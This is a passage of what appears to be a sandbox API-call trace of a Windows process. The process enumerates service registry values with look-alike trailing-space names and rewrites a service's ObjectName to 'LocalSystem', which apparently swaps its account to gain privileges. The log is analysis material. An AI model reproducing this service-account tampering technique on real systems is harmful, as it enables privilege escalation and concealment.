RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0239.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0239.660] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.660] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0239.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4220 [0239.661] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0239.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0239.661] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0239.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0239.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0239.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0239.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0239.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0239.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0239.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0239.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0239.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0239.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0239.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0239.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0239.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0239.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0239.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0239.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0239.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0239.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0239.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0239.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0239.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0239.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0239.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0239.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0239.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0239.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0239.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0239.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0239.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0239.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0239.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0239.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0239.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0239.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0239.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0239.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0239.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0239.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0239.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0239.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0239.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0239.662] RegQueryValueExA (in: hKey=0x150, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0x1a) returned 0x0 [0239.662] RegQueryValueExA (in: hKey=0x150, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f1ad8, lpcbData=0x36f45c*=0x1a | out: lpType=0x36f454*=0x1, lpData="NT Authority\\LocalService", lpcbData=0x36f45c*=0x1a) returned 0x0 [0239.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0239.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0239.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0239.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0239.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0239.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0239.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0239.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0239.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0239.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0239.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0239.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0239.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0239.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0239.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0239.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0239.663] RegQueryValueExA (in: hKey=0x14c, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0239.663] RegQueryValueExA (in: hKey=0x14c, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f1ad8, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0239.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0239.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0239.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0239.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0239.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0239.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0239.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0239.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0239.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0239.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0239.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0239.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219de30) returned 1 [0239.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0239.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0239.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0239.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0239.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0239.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.664] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0239.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.664] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="NT Authority\\LocalService", cbData=0x1a | out: lpData="NT Authority\\LocalService") returned 0x0 [0239.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.664] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0239.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0239.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.665] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0239.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0239.665] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0239.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0239.665] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0239.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0239.665] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0239.665] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0239.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0239.665] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0239.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0239.665] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0239.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0239.665] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0239.665] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0239.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0239.665] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0239.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0239.666] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0239.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0239.666] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.666] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0239.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0239.666] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0239.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.666] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0239.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0239.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0239.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0239.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0239.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0239.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0239.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0239.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0239.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0239.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0239.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0239.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0239.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0239.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0239.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0239.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0239.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0239.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0239.667] RegQueryValueExA (in: hKey=0x150, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x0, lpData=0x0, 